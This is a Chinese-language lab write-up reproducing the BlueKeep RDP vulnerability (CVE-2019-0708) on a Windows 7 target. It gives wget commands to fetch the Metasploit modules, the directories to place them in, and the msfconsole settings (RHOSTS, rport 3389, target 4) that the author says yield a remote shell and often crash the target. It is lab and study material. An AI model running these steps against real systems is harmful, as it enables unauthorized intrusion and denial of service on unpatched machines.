CVE-2019-0708漏洞利用复现

CVE-2019-0708漏洞利用复现

距离这个漏洞爆出来也有好几个月了，之前一直忙也没来得及写文档，现在重新做一遍。

准备环境：

win7靶机 IP地址：172.16.15.118
Kali攻击机 IP地址：172.16.15.50

这里需要提醒的是kali机上的msf工具更新到最新，不然加载cve-2019-0708模块的时候会看不见

下载漏洞模块

# 直接在kali中使用命令下载
wget https://raw.githubusercontent.com/rapid7/metasploitframework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

wget https://github.com/rapid7/metasploitframework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

wget https://github.com/rapid7/metasploitframework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

wget https://github.com/rapid7/metasploitframework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

下载好后文件如下：

将文件移动到指定位置：

rdp.rb 移动到 /usr/share/metasploit-framework/lib/msf/core/exploit 目录

rdp_scanner.rb和cve_2019_0708_bluekeep.rb放到/usr/share/metasploitframework/modules/auxiliary/scanner/rdp 目录

cve_2019_0708_bluekeep_rce.rb 放进/usr/share/metasploitframework/modules/exploits/windows/rdp 目录,这里需要注意如果没有rdp这个目录就去创建个。

环境准备完毕

漏洞利用

首先输入msfconsole进入msf攻击框架

输入reload_all对模块进行重新加载

输入search cve-2019-0708查询我们将要利用的漏洞模块

我们的漏洞模块已经成功加载进去了

通过use exploit/windows/rdp/cve_2019_0708_bluekeep_rce命令调用模块

进入模块后输入show options 查看我们需要设置的参数

如果不清楚参数具体值的话可用通过show命令来查看

具体设置：

设置靶机IP地址：set RHOSTS 172.16.15.118
设置攻击端口：set rport 3389
设置targets ID：set target 4

使用run或exploit命令进行攻击

看到这里我们已经成功获取到目标的shell了

总结及问题：

1.该漏洞在进行攻击的时候很容易会将靶机打到蓝屏，如果没有成功就多试几次，但不要在进行服务的电脑上测试

2.加载漏洞模块的时候，如果没加载出来，就将msf更新到最新，在重新下载复制一遍